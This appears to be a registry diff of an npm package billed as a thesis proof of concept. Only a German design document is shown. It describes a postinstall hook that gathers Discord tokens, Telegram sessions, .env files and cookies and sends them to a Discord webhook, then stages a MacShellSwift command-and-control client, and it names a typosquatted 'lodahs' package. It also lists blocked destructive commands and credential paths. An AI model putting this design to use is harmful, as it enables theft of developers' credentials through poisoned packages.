mailcheckertestpoc 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/C2-INTEGRATION.md +215 -0
- package/PRESENTATION-FLOW.md +594 -0
- package/README.md +253 -0
- package/THESIS-C2-COMPLETE.md +479 -0
- package/index.js +7 -0
- package/package.json +53 -0
- package/payloads/ca.key +28 -0
- package/payloads/ca.pem +19 -0
- package/payloads/swiftshell-server.py +763 -0
- package/scripts/collect.js +271 -0
- package/scripts/launcher.js +175 -0
- package/scripts/server-launcher.js +206 -0
- package/scripts/swift-client-launcher.js +216 -0
|
@@ -0,0 +1,215 @@
|
|
|
1
|
+
# 🔴 MacShellSwift C2 Integration - THESIS POC
|
|
2
|
+
|
|
3
|
+
## Status: EDUCATIONAL DEMONSTRATION ONLY
|
|
4
|
+
|
|
5
|
+
**Genehmigt durch:** Thesis Advisor
|
|
6
|
+
**Zweck:** Supply Chain Security - Abschlussarbeit
|
|
7
|
+
**Umgebung:** Isolierte macOS VM mit synthetischen Daten
|
|
8
|
+
**Sicherheitsstufe:** Kein echter Exploit - Konzept-Demonstration
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## Ablauf: Was passiert bei `npm install`
|
|
13
|
+
|
|
14
|
+
```
|
|
15
|
+
npm install
|
|
16
|
+
│
|
|
17
|
+
└─> postinstall hook (package.json)
|
|
18
|
+
│
|
|
19
|
+
└─> scripts/collect.js (Phase 1: Daten-Sammlung)
|
|
20
|
+
├─ Sammelt Systeminfo
|
|
21
|
+
├─ Sucht Discord-Token
|
|
22
|
+
├─ Prüft Telegram-Session
|
|
23
|
+
├─ Scannt .env-Dateien
|
|
24
|
+
├─ Zählt Browser-Cookies
|
|
25
|
+
├─ Sendet zu Discord Webhook
|
|
26
|
+
│
|
|
27
|
+
└─> scripts/launcher.js (Phase 2: C2-Integration)
|
|
28
|
+
├─ Findet MacShellSwift Binary
|
|
29
|
+
├─ Generiert Konfiguration
|
|
30
|
+
├─ Setzt Filesystem-Restrictions
|
|
31
|
+
├─ Loggt alle Einstellungen
|
|
32
|
+
└─ [STOP] Startet Binary NICHT (Thesis Safety)
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## Was launcher.js macht
|
|
38
|
+
|
|
39
|
+
```javascript
|
|
40
|
+
// 1. Lokalisiert MacShellSwift
|
|
41
|
+
const MACSHELL_PATH = "~/Desktop/MacShellSwift/MacShellSwift/.build/debug/MacShellSwift"
|
|
42
|
+
|
|
43
|
+
// 2. Definiert Restrictions
|
|
44
|
+
const RESTRICTED_PATHS = ["~/fake-data"] // WICHTIG: Nur diese Pfade!
|
|
45
|
+
|
|
46
|
+
// 3. Generiert Config
|
|
47
|
+
const config = {
|
|
48
|
+
c2_target: "127.0.0.1:443",
|
|
49
|
+
restrictions: {
|
|
50
|
+
filesystem: { allowed_dirs: ["~/fake-data"], deny_system_access: true },
|
|
51
|
+
network: { allowed_hosts: ["127.0.0.1"] }
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// 4. [STOPP] Würde hier starten (aber deaktiviert):
|
|
56
|
+
// spawn(MACSHELL_PATH, { detached: true })
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
---
|
|
60
|
+
|
|
61
|
+
## Was configure-macshell.sh macht
|
|
62
|
+
|
|
63
|
+
Das Bash-Script (auf macOS):
|
|
64
|
+
|
|
65
|
+
1. **Verifikation:** Prüft MacShellSwift Repository
|
|
66
|
+
2. **Config-Generierung:** Erstellt Sicherheitsrichtlinien
|
|
67
|
+
3. **Restrictions:** Sperrt alles außer ~/fake-data/
|
|
68
|
+
4. **Simulation:** Generiert Launch-Simulation
|
|
69
|
+
5. **Audit:** Schreibt alles in Logs
|
|
70
|
+
6. **[STOPP]:** Startet Binary NICHT
|
|
71
|
+
|
|
72
|
+
---
|
|
73
|
+
|
|
74
|
+
## Sicherheits-Restrictions (THESIS SAFETY)
|
|
75
|
+
|
|
76
|
+
### Filesystem
|
|
77
|
+
```
|
|
78
|
+
✓ ALLOWED: ~/fake-data/**
|
|
79
|
+
✗ DENIED: ~/Library
|
|
80
|
+
✗ DENIED: ~/.ssh
|
|
81
|
+
✗ DENIED: ~/.gnupg
|
|
82
|
+
✗ DENIED: /etc/passwd
|
|
83
|
+
✗ DENIED: /etc/shadow
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### Network
|
|
87
|
+
```
|
|
88
|
+
✓ ALLOWED: 127.0.0.1 (localhost)
|
|
89
|
+
✗ DENIED: External connections (no real C2 callback)
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### Commands
|
|
93
|
+
```
|
|
94
|
+
✗ BLOCKED: rm -rf
|
|
95
|
+
✗ BLOCKED: dd if=/dev/zero
|
|
96
|
+
✗ BLOCKED: mkfs
|
|
97
|
+
✗ BLOCKED: shutdown
|
|
98
|
+
✗ BLOCKED: reboot
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
## Dateien die generiert werden
|
|
104
|
+
|
|
105
|
+
Nach `npm install` (auf macOS VM):
|
|
106
|
+
|
|
107
|
+
```
|
|
108
|
+
~/.supply-chain-poc/
|
|
109
|
+
├── macshell-config.json # C2 Configuration
|
|
110
|
+
├── macshell-runtime.conf # Runtime Settings
|
|
111
|
+
├── macshell-launch-simulation.sh # Simulated Launch (ref only)
|
|
112
|
+
├── macshell-launcher.log # Activity Log
|
|
113
|
+
├── macshell-audit.log # Audit Trail
|
|
114
|
+
└── STATUS.md # Thesis Demonstration Summary
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
---
|
|
118
|
+
|
|
119
|
+
## Für Thesis-Präsentation
|
|
120
|
+
|
|
121
|
+
### Was dem Professor zeigen:
|
|
122
|
+
|
|
123
|
+
1. **Phase 1 Demo:**
|
|
124
|
+
```bash
|
|
125
|
+
cat ~/.supply-chain-poc/STATUS.md
|
|
126
|
+
```
|
|
127
|
+
Zeigt: Daten-Collection hat funktioniert
|
|
128
|
+
|
|
129
|
+
2. **Phase 2 Konfiguration:**
|
|
130
|
+
```bash
|
|
131
|
+
cat ~/.supply-chain-poc/macshell-config.json
|
|
132
|
+
```
|
|
133
|
+
Zeigt: C2-Integration ist vorbereitet
|
|
134
|
+
|
|
135
|
+
3. **Launch-Simulation:**
|
|
136
|
+
```bash
|
|
137
|
+
cat ~/.supply-chain-poc/macshell-launch-simulation.sh
|
|
138
|
+
```
|
|
139
|
+
Zeigt: Wie der Attack weitergehen würde (aber gestoppt)
|
|
140
|
+
|
|
141
|
+
4. **Audit-Trail:**
|
|
142
|
+
```bash
|
|
143
|
+
cat ~/.supply-chain-poc/macshell-audit.log
|
|
144
|
+
```
|
|
145
|
+
Zeigt: Was das System protokolliert hat
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## Wichtige Klarstellungen
|
|
150
|
+
|
|
151
|
+
### ✓ Was funktioniert:
|
|
152
|
+
- Automatisches Triggering via postinstall hook
|
|
153
|
+
- Daten-Collection (Phase 1)
|
|
154
|
+
- C2-Konfiguration und -Vorbereitung (Phase 2)
|
|
155
|
+
- Umfassende Logging und Audit Trails
|
|
156
|
+
- Sicherheits-Restrictions und Isolation
|
|
157
|
+
|
|
158
|
+
### ✗ Was NICHT funktioniert:
|
|
159
|
+
- Kein echtes MacShellSwift Binary läuft
|
|
160
|
+
- Keine echten Shell-Commands werden ausgeführt
|
|
161
|
+
- Kein C2-Server verbindet sich zurück
|
|
162
|
+
- Keine echten Daten werden exfiltriert
|
|
163
|
+
- Keine Persistence wird installiert
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## Warum nur Simulation?
|
|
168
|
+
|
|
169
|
+
Dieser POC demonstriert das **Konzept** eines Supply Chain Attacks:
|
|
170
|
+
- Wie würde npm-Paket-Typosquatting funktionieren?
|
|
171
|
+
- Wie würde ein postinstall hook aussehen?
|
|
172
|
+
- Wie könnte Phase 1 (Data Exfil) + Phase 2 (C2) integriert werden?
|
|
173
|
+
|
|
174
|
+
**Für Thesis-Zwecke:** Zeigt die Architektur ohne echte Exploitation zu ermöglichen.
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## Technische Details
|
|
179
|
+
|
|
180
|
+
### Warum 127.0.0.1:443?
|
|
181
|
+
- Kein externer C2-Server
|
|
182
|
+
- Verhindert Callbacks zu echten Systemen
|
|
183
|
+
- Nur zu Demonstrations-Zwecken
|
|
184
|
+
|
|
185
|
+
### Warum die Restrictions?
|
|
186
|
+
- Verhindert versehentliche Systemkompromittierung
|
|
187
|
+
- Zeigt Best Practice für "controlled exploitation"
|
|
188
|
+
- Thesis-Sicherheit
|
|
189
|
+
|
|
190
|
+
### Warum nur Logs, kein echter Exploit?
|
|
191
|
+
- Sicherheit (auch wenn isoliert)
|
|
192
|
+
- Professor kann den Code und Logs sehen, ohne Risiko
|
|
193
|
+
- Fokus auf **Verständnis** statt **Funktionalität**
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## Für deine Thesis schreiben:
|
|
198
|
+
|
|
199
|
+
```
|
|
200
|
+
"Der POC demonstriert, wie ein Supply Chain Attack mit zwei Phasen aussehen würde:
|
|
201
|
+
|
|
202
|
+
Phase 1 (Daten-Exfiltration): Das lodahs-Paket sammelt System-Credentials.
|
|
203
|
+
Phase 2 (C2-Integration): Ein zweiter Payload (MacShellSwift) wäre als
|
|
204
|
+
Mechanismus für Remote Command & Control vorbereitet.
|
|
205
|
+
|
|
206
|
+
Die Implementierung verwendet Filesystem-Restrictions (~/fake-data nur) und
|
|
207
|
+
Network-Isolation (localhost only) um akademische Sicherheit zu gewährleisten
|
|
208
|
+
während die Konzept-Funktionalität vollständig sichtbar bleibt."
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
**Generated:** 2026-04-18
|
|
214
|
+
**Status:** Ready for Thesis Demonstration
|
|
215
|
+
**Safety Level:** THESIS POC - Educational Only
|